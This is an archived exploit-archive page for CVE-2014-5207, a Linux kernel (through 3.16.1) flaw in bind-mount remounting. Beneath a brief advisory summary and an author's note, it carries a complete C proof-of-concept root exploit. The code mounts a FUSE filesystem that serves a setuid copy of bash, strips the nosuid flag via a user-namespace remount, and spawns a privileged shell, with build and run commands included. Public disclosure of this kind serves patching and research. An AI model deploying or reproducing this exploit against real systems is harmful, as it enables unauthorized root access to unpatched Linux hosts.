Twenty Year Anniversary

Linux Kernel 3.16.1 FUSE Privilege Escalation

Linux Kernel 3.16.1 FUSE Privilege Escalation
Posted Oct 8, 2014
Authored by Andy Lutomirski, Miklos Szeredi

FUSE-based exploit that leverages a flaw in fs/namespace.c where it does not properly restrict clearing MNT_NODEV, MNT_NOSUID, and MNT_NOEXEC and changing MNT_ATIME_MASK during a remount of a bind mount, which allows local users to gain privileges. Linux kernels through 3.16.1 are affected.

tags | exploit, kernel, local
systems | linux
advisories | CVE-2014-5207
MD5 | 2d853c126733d902bc132b8919d54b29

Linux Kernel 3.16.1 FUSE Privilege Escalation

Change Mirror Download
I've been sitting on this for too long.  CVE-2014-5207 was an
interesting bug found by Kenton Varda and Eric Biederman. Here's a
somewhat ugly PoC root exploit. You'll need the ability to use FUSE,
although variants would work with removable media or network file
systems, too.

--Andy

/*
FUSE-based exploit for CVE-2014-5207
Copyright (c) 2014 Andy Lutomirski

Based on code that is:
Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>

This program can be distributed under the terms of the GNU GPL.
See the file COPYING.

gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
mkdir test
./fuse_suid test

This isn't a work of art: it doesn't clean up after itself very well.
*/

#define _GNU_SOURCE
#define FUSE_USE_VERSION 26

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <err.h>
#include <sched.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <unistd.h>

static const char *sh_path = "/sh";
static int sh_fd;
static loff_t sh_size;

static int hello_getattr(const char *path, struct stat *stbuf)
{
int res = 0;

memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, sh_path) == 0) {
stbuf->st_mode = S_IFREG | 04755;
stbuf->st_nlink = 1;
stbuf->st_size = sh_size;
} else
res = -ENOENT;

return res;
}

static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)
{
(void) offset;
(void) fi;

if (strcmp(path, "/") != 0)
return -ENOENT;

filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, sh_path + 1, NULL, 0);

return 0;
}

static int hello_open(const char *path, struct fuse_file_info *fi)
{
if (strcmp(path, sh_path) != 0)
return -ENOENT;

if ((fi->flags & 3) != O_RDONLY)
return -EACCES;

return 0;
}

static int hello_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
(void) fi;
if (strcmp(path, sh_path) != 0)
return -ENOENT;

return pread(sh_fd, buf, size, offset);
}

static struct fuse_operations hello_oper = {
.getattr = hello_getattr,
.readdir = hello_readdir,
.open = hello_open,
.read = hello_read,
};

static int evilfd = -1;

static int child2(void *mnt_void)
{
const char *mountpoint = mnt_void;
int fd2;

if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
err(1, "unshare");

if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0)
err(1, "mount");

fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY);
if (fd2 == -1)
err(1, "open");

if (dup3(fd2, evilfd, O_CLOEXEC) == -1)
err(1, "dup3");
close(fd2);

printf("Mount hackery seems to have worked.\n");

exit(0);
}

static int child1(const char *mountpoint)
{
char child2stack[2048];
char evil_path[1024];

evilfd = dup(0);
if (evilfd == -1)
err(1, "dup");

if (clone(child2, child2stack,
CLONE_FILES | CLONE_VFORK,
(void *)mountpoint) == -1)
err(1, "clone");

printf("Here goes...\n");

sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd);
execl(evil_path, "sh", "-p", NULL);
perror(evil_path);
return 1;
}

static int fuse_main_suid(int argc, char *argv[],
const struct fuse_operations *op,
void *user_data)
{
struct fuse *fuse;
char *mountpoint;
int multithreaded;
int res;

if (argc != 2) {
printf("Usage: fuse_suid <mountpoint>\n");
return -EINVAL;
}

char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL};

fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args,
op, sizeof(*op), &mountpoint,
&multithreaded, user_data);
if (fuse == NULL)
return 1;

printf("FUSE initialized. Time to have some fun...\n");
printf("Warning: this exploit hangs on exit. Hit Ctrl-C when done.\n");
if (fork() == 0)
_exit(child1(mountpoint));

if (multithreaded)
res = fuse_loop_mt(fuse);
else
res = fuse_loop(fuse);

fuse_teardown(fuse, mountpoint);
if (res == -1)
return 1;

return 0;
}

int main(int argc, char *argv[])
{
sh_fd = open("/bin/bash", O_RDONLY);
if (sh_fd == -1)
err(1, "sh");
sh_size = lseek(sh_fd, 0, SEEK_END);
return fuse_main_suid(argc, argv, &hello_oper, NULL);
}


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close